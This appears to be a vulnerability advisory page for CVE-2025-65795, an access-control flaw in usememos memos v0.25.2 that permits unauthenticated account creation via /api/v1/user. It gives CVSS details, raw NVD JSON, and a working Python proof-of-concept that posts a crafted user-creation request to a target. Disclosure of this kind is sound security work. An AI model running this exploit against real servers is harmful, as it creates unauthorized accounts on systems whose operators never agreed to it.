Security Vulnerability Report
中文
CVE-2025-65795 CVSS 7.5 HIGH

CVE-2025-65795

Published: 2025-12-08 17:16:21
Last Modified: 2025-12-09 17:15:54

Description

Incorrect access control in the /api/v1/user endpoint of usememos memos v0.25.2 allows unauthorized attackers to create arbitrary accounts via a crafted request.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:usememos:memos:0.25.2:*:*:*:*:*:*:* - VULNERABLE
usememos memos v0.25.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65795 PoC - usememos arbitrary account creation # Target: usememos memos v0.25.2 # Endpoint: /api/v1/user import requests import json import sys def create_arbitrary_user(target_url, username, password): """ Exploit for CVE-2025-65795: Incorrect Access Control in /api/v1/user endpoint Allows unauthorized attackers to create arbitrary accounts. """ endpoint = f"{target_url.rstrip('/')}/api/v1/user" # Crafted request payload for arbitrary account creation payload = { "username": username, "password": password, "nickname": username, "email": f"{username}@attacker.com" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Target: {target_url}") print(f"[*] Attacking endpoint: {endpoint}") print(f"[*] Creating account: {username}") response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: data = response.json() if data.get('code') == 0 or 'id' in data: print(f"[+] SUCCESS: Account '{username}' created successfully!") print(f"[+] Username: {username}") print(f"[+] Password: {password}") return True print(f"[-] FAILED: Could not create account") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-65795.py <target_url> <username> <password>") print("Example: python cve-2025-65795.py http://target.com:5230 attacker password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] create_arbitrary_user(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65795", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:21.073", "lastModified": "2025-12-09T17:15:53.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the /api/v1/user endpoint of usememos memos v0.25.2 allows unauthorized attackers to create arbitrary accounts via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:usememos:memos:0.25.2:*:*:*:*:*:*:*", "matchCriteriaId": "E673C3CA-3FAC-46BD-823A-BE91FCEAC154"}]}]}], "references": [{"url": "http://memos.com", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "http://usememos.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/usememos/memos/pull/5217", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://herolab.usd.de/usd-2025-0058/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}